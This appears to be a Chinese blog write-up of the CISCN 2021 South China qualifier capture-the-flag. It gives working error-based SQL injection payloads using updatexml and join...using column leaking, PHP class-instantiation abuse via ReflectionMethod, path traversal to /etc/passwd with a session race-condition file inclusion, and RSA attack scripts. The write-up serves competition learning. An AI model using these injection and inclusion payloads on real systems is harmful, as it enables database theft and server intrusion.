CISCN2021_华南初赛_记录

最新推荐文章于 2024-05-20 22:22:59 发布

ScyLamb

最新推荐文章于 2024-05-20 22:22:59 发布

阅读量1.1k

点赞数

分类专栏：比赛

本文链接：https://blog.csdn.net/weixin_45882317/article/details/116899049

版权

比赛专栏收录该内容

2 篇文章 0 订阅

订阅专栏

easy_sql

hint:一个简单的sql注入题目

打开一个登录框，随便测试下，发现报错了

直接报错注入Payload打一波

失败，回显no，开始跑字典

过滤了 column和可以获取表名的表

如：

在这里插入图片描述

尝试盲猜表名【后面发现sqlmap爆破表名也可以跑出来】

最后成功两个 users,flag

有了表名，接下来就是无列名注入了

发现过滤了 union

尝试使用join…using()注

uname=1') and (updatexml(1,concat(0x7e,(select * from (select * from users as a join users as b)as c),0x7e),1))#&passwd=1&Submit=%E7%99%BB%E5%BD%

Duplicate column name ‘id’

uname=1') and (updatexml(1,concat(0x7e,(select * from (select * from users as a join users as b using(id))as c),0x7e),1))#&passwd=1&Submit=%E7%99%BB%E5%BD%

Duplicate column name ‘username’

uname=1') and (updatexml(1,concat(0x7e,(select * from (select * from users as a join users as b using(id,username))as c),0x7e),1))#&passwd=1&Submit=%E7%99%BB%E5%BD%

Duplicate column name ‘password’

uname=1') and (updatexml(1,concat(0x7e,(select * from (select * from users as a join users as b using(id,username,password))as c),0x7e),1))#&passwd=1&Submit=%E7%99%BB%E5%BD%

Operand should contain 1 column(s)

uname=1') and (updatexml(1,concat(0x7e,(select concat(id,username,password) from (select * from flag as a join flag as b using(id))as c),0x7e),1))#&passwd=1&Submit=%E7%99%BB%E5%BD%

Duplicate column name ‘no’

uname=1') and (updatexml(1,concat(0x7e,(select concat(id,username,password) from (select * from flag as a join flag as b using(id,no))as c),0x7e),1))#&passwd=1&Submit=%E7%99%BB%E5%BD%

Duplicate column name ‘e41f1cd3-24e3-48b9-b98a-50526ecffcd6’

uname=1') and (updatexml(1,concat(0x7e,(select * from (select * from flag as a join flag as b using(id,no,`e41f1cd3-24e3-48b9-b98a-50526ecffcd6`))as c),0x7e),1))#&passwd=1&Submit=%E7%99%BB%E5%BD%

Operand should contain 1 column(s)

所有列名都出来了，直接查就可以了

Payload：

uname=1') and (updatexml(1,concat(0x7e,mid((select `e41f1cd3-24e3-48b9-b98a-50526ecffcd6` from flag),1),0x7e),1))#&passwd=1&Submit=%E7%99%BB%E5%BD%

uname=1') and (updatexml(1,concat(0x7e,mid((select `e41f1cd3-24e3-48b9-b98a-50526ecffcd6` from flag),20),0x7e),1))#&passwd=1&Submit=%E7%99%BB%E5%BD%

easy_source

hint:题目描述：你知道开发一个php程序很重要的东西是什么吗（flag在你看不到的地方）

打开500，题目源代码，扫描源代码

得 .index.php.swo

本题目没有其他代码了噢，就只有这一个文件，虽然你看到的不完全，但是你觉得我会把flag藏在哪里呢，仔细想想文件里面还有什么？
<?php
class User
{
    private static $c = 0;

    function a()
    {
        return ++self::$c;
    }

    function b()
    {
        return ++self::$c;
    }

    function c()
    {
        return ++self::$c;
    }

    function d()
    {
        return ++self::$c;
    }

    function e()
    {
        return ++self::$c;
    }

    function f()
    {
        return ++self::$c;
    }

    function g()
    {
        return ++self::$c;
    }

    function h()
    {
        return ++self::$c;
    }

    function i()
    {
        return ++self::$c;
    }

    function j()
    {
        return ++self::$c;
    }

    function k()
    {
        return ++self::$c;
    }

    function l()
    {
        return ++self::$c;
    }

    function m()
    {
        return ++self::$c;
    }

    function n()
    {
        return ++self::$c;
    }

    function o()
    {
        return ++self::$c;
    }

    function p()
    {
        return ++self::$c;
    }

    function q()
    {
        return ++self::$c;
    }

    function r()
    {
        return ++self::$c;
    }

    function s()
    {
        return ++self::$c;
    }

    function t()
    {
        return ++self::$c;
    }
    
}

$rc=$_GET["rc"];
$rb=$_GET["rb"];
$ra=$_GET["ra"];
$rd=$_GET["rd"];
$method= new $rc($ra, $rb);
var_dump($method->$rd());

审计代码，发现可以实例化任意类，并调用其方法，user类中有很多方法，但似乎没有用

尝试反序列化各种php内置类

最后尝试 ReflectionMethod读User 类中的注释

?rc=ReflectionMethod&ra=User&rd=getDocComment&rb=a，rb=a时回显注释，猜测可行，直接bp爆破

q成功

在这里插入图片描述

middle_source

<?php
    highlight_file(__FILE__);
    echo "your flag is in some file in /etc ";
    $fielf=$_POST["field"];
    #$cf="/tmp/app_auth/cfile/".$_POST['cf'];
    $cf=$_POST['cf'];
    
    if(file_exists($cf)){
        include $cf;
        echo $$field;
        exit;
    }
    else{
        echo " ";
        exit;
    }

进去一个文件包含，文件名前面有前缀，无过滤可以 ../到达根目录

尝试 ../../../..//etc/passwd 成功

看到 $$field，尝试 GLOBALS，但无回显，最后发现这是烟雾弹，这个变量名未赋值，佛了

尝试包含各种常见的配置文件，跑了各种字典，无果

最后队友说有 .listing

发现 you_can_seeeeeeee_me.php，是个phpinfo，这就好办了啊！！！

大致浏览的phpinfo，发现很多危险函数被禁用

在session文件存储路径下，发现特殊乱序字符加在默认路径下，一看就是预期解，直接Session—条件竞争，后面就是常见的session条件竞争文件包含了

只不过，因为被禁用了函数，正常的写马无效了，突然想到这里提示了flag在 /etc下，那么我可以读文件目录，最后再包含即可

直接 scandir(),然后包含

web后面太菜了，没打下来

赛后看wp，发现可以copy('/var/lib/php/sessions/bajddbh
fcd/sess_%s','/tmp/s.php');学到了，这样就可以减少文件上传的时间了

RSA

简单的RSA

from flag import text,flag
import md5
from Crypto.Util.number import long_to_bytes,bytes_to_long,getPrime

assert md5.new(text).hexdigest() == flag[6:-1]

msg1 = text[:xx]
msg2 = text[xx:yy]
msg3 = text[yy:]

msg1 = bytes_to_long(msg1)
msg2 = bytes_to_long(msg2)
msg3 = bytes_to_long(msg3)

p1 = getPrime(512)
q1 = getPrime(512)
N1 = p1*q1
e1 = 3
print pow(msg1,e1,N1)
print (e1,N1)

p2 = getPrime(512)
q2 = getPrime(512)
N2 = p2*q2
e2 = 17
e3 = 65537
print pow(msg2,e2,N2)
print pow(msg2,e3,N2)
print (e2,N2)
print (e3,N2)

p3 = getPrime(512)
q3 = getPrime(512)
N3 = p3*q3
print pow(msg3,e3,N3)
print (e3,N3)
print p3>>200

审计代码，分三片

第一片

e1 = 3 ，低加密指数广播攻击

#!py -2
#coding:utf-8
# python2
# e=3时，爆破密文

import gmpy2

#破解密文
n = 123814470394550598363280518848914546938137731026777975885846733672494493975703069760053867471836249473290828799962586855892685902902050630018312939010564945676699712246249820341712155938398068732866646422826619477180434858148938235662092482058999079105450136181685141895955574548671667320167741641072330259009
e = 3
cipher = 19105765285510667553313898813498220212421177527647187802549913914263968945493144633390670605116251064550364704789358830072133349108808799075021540479815182657667763617178044110939458834654922540704196330451979349353031578518479199454480458137984734402248011464467312753683234543319955893

def get_flag():
    i = 0
    while True:
        if(gmpy2.iroot(cipher+i*n, 3)[1] == True):
            flag_bin = int(gmpy2.iroot(cipher+i*n, 3)[0])
            flag = hex(flag_bin)[2:-1].decode("hex")
            print('hex:'+hex(flag_bin)[2:-1])
            print(flag)
            break
        i += 1


if __name__ == "__main__":
    get_flag()

第二片，共模攻击

# 共模攻击
import sys
import binascii
sys.setrecursionlimit(1000000)
def egcd(a, b):
    if a == 0:
      return (b, 0, 1)
    else:
      g, y, x = egcd(b % a, a)
      return (g, x - (b // a) * y, y)
def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
      raise Exception('modular inverse does not exist')
    else:
      return x % m

c1=54995751387258798791895413216172284653407054079765769704170763023830130981480272943338445245689293729308200574217959018462512790523622252479258419498858307898118907076773470253533344877959508766285730509067829684427375759345623701605997067135659404296663877453758701010726561824951602615501078818914410959610
#n=0xc42b9d872f8ecf90b4832199771bbd8d9bafb213747d905a644baa42144f316dc224e7914f8a5d361eeab930adf5ea7fbe1416e58b3fae34ca7e6d2a3145e04af02cf5a4f14539fff032bccd7bb9cf85b12d7d36dbc870b57e11aa5704304d08eff685fe4ccd707e308dfac6a1167d79199ffa9396c4f2efb4770256253d1407
n = 111381961169589927896512557754289420474877632607334685306667977794938824018345795836303161492076539375959731633270626091498843936401996648820451019811592594528673182109109991384472979198906744569181673282663323892346854520052840694924830064546269187849702880332522636682366270177489467478933966884097824069977
#e1=0xc21000af014a98b2455dec479
e1 = 17
#c2=0xc4053ed3455c15174e5699ab6eb09b830a98b79e92e7518b713e828faca4d6d02306a65a8ec70893ca8a56943a7074e6de8649f099164cad33b8ca93fce1656f0712b990cce06642250c52a80d19c2afa94a4e158139028ac89c811e6be8d7b6984b6c1edcdd752e4955e3a6f1ab38cf2edb4474a80e03d6c313eb8ebf4e98cc
c2 = 91290935267458356541959327381220067466104890455391103989639822855753797805354139741959957951983943146108552762756444475545250343766798220348240377590112854890482375744876016191773471853704014735936608436210153669829454288199838827646402742554134017280213707222338496271289894681312606239512924842845268366950
#e2=0x9935842d63b75899ddd81b467
e2 = 65537

s = egcd(e1, e2)
s1 = s[1]
s2 = s[2]

if s1<0:
   s1 = - s1
   c1 = modinv(c1, n)
elif s2<0:
   s2 = - s2
   c2 = modinv(c2, n)
m=(pow(c1,s1,n)*pow(c2,s2,n)) % n
print('10:'+str(m))
print('hex:'+hex(m))
print (binascii.unhexlify(hex(m)[2:].strip("L")))

第三片，已知p的高位，Factoring with High Bits Known

Sage Cell Server (sagemath.org)

#sage

#p4已知高位
p4 = 7117286695925472918001071846973900342640107770214858928188419765628151478620236042882657992902
n = 113432930155033263769270712825121761080813952100666693606866355917116416984149165507231925180593860836255402950358327422447359200689537217528547623691586008952619063846801829802637448874451228957635707553980210685985215887107300416969549087293746310593988908287181025770739538992559714587375763131132963783147

#全位数
pbits = 512

#缺省位数
kbits = pbits - p4.nbits()#nbits()位数
print (p4.nbits())
p4 = p4 << kbits
PR.<x> = PolynomialRing(Zmod(n))

f = x + p4
x0 = f.small_roots(X=2^kbits, beta=0.4)[0]
print ("x:" ,hex(int(x0)))
p = p4+x0
print ("p: ", hex(int(p)))
assert n % p == 0
q = n/int(p)
print ("q: ", hex(int(q)))

得到pq,直接解密文

#!py -2
import gmpy2
n=113432930155033263769270712825121761080813952100666693606866355917116416984149165507231925180593860836255402950358327422447359200689537217528547623691586008952619063846801829802637448874451228957635707553980210685985215887107300416969549087293746310593988908287181025770739538992559714587375763131132963783147
p = 11437038763581010263116493983733546014403343859218003707512796706928880848035239990740428334091106443982769386517753703890002478698418549777553268906496423
q = n/p
e = 65537
c=59213696442373765895948702611659756779813897653022080905635545636905434038306468935283962686059037461940227618715695875589055593696352594630107082714757036815875497138523738695066811985036315624927897081153190329636864005133757096991035607918106529151451834369442313673849563635248465014289409374291381429646
a=gmpy2.invert(e, (p-1)*(q-1))
print (a)
m= pow(c,a,n)
print (m)
print(hex(m))

比较菜的人是我，跑出了明文，但，提交不了flag，因为这些字符串中带有的空格和换行的锅，下次遇到直接 转16进制再md5

from hashlib import md5
print(md5(hex(m).encode('utf8')).hexdigest())

ScyLamb

关注

0
点赞
踩
2

收藏

觉得还不错? 一键收藏
3
评论
CISCN2021_华南初赛_记录

easy_sqlhint:一个简单的sql注入题目打开一个登录框，随便测试下，发现报错了直接报错注入Payload打一波失败，回显no，开始跑字典过滤了 column和可以获取表名的表如：[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pQ9yJBow-1621160008407)(image/国赛.image/image-20210515151503088.png)]尝试盲猜表名【后面发现sqlmap爆破表名也可以跑出来】最后成功两个 users,fla
复制链接

扫一扫